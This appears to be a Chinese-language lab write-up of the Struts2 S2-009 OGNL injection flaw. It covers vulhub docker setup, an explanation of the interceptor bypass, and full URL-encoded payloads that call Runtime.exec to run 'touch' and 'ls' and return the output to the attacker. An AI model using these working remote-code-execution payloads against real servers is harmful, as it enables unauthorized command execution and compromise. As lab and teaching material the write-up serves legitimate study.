struts-s2-009
此文仅供大家交流学习,严禁非法使用
一、参考网址:
https://github.com/phith0n/vulhub/tree/master/struts2/s2-009
https://www.waitalone.cn/struts2-command-exp.html
二、 影响版本:
Struts 2.0.0 - Struts 2.3.1.1
三、 漏洞介绍:
OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。
在S2-003和S2-005中已经解决了类似的行为,但事实证明,基于列入可接受的参数名称的结果修复仅部分地关闭了该漏洞。
ParametersInterceptor中的正则表达式将top ['foo'](0)作为有效的表达式匹配,OGNL将其作为(top ['foo'])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。
四、 环境搭建:(ubuntu)
- 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
- 安装docker
apt-get update && apt-get install docker.io
- 启动docker服务
service docker start
- 安装compose
pip install docker-compose
注意要先ssh连接,将公钥添加到github上,具体参照网上教程
- 拉取项目
git clone git@github.com:phith0n/vulhub.git
cd vulhub
- 进入某一个漏洞/环境的目录
cd nginx_php5_mysql
- 自动化编译环境
docker-compose build
- 启动整个环境
docker-compose up -d
五、 POC:
%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
(可输出结果)
(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
六、 测试网址:
http://虚拟机ip:8080/ajax/example5.action
修改后
http://虚拟机ip:8080/ajax/example5.action ?age=12313&name=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess["allowStaticMethodAccess"]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
七、执行结果
修改后:
http://ip:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
执行结果,出现下载文件,记事本打开
八、存在问题并修改:
Windows 的showcase测试windows命令一直执行不成功,希望大家指点指点
时隔两个星期,
时隔十天终于将头上的待续去掉了,自己写了扫描器,找到了个该漏洞的利用环境
http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action?skillName=1
poc不变(简单修改输出多行)
输出结果:
九、 至此,该漏洞基本利用完毕
本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家
坚决做一名白帽子